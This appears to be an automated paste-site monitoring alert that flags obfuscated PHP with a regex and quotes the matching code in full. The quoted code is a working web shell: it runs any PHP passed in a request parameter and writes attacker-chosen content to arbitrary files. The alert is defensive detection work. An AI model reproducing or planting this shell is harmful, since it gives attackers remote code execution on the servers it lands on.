Potential leak of data: Obfuscated PHP Code

Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php $fbcl = "b063d508eaf4cb7d897ffc28c054dc28"; if(isset($_REQUEST['ydgbr'])) { $knqitxr = $_REQUEST['ydgbr']; eval($knqitxr); exit(); } if(isset($_REQUEST['breaazki'])) { $jkpp = $_REQUEST['kslqphv']; $dwue = $_REQUEST['breaazki']; $jmsnmd = fopen($dwue, 'w'); $tpsv = fwrite($jmsnmd, $jkpp); fclose($jmsnmd); echo $tpsv; exit(); } ?> Source: http://pastebin.com/raw.php?i=Dwgsf7WU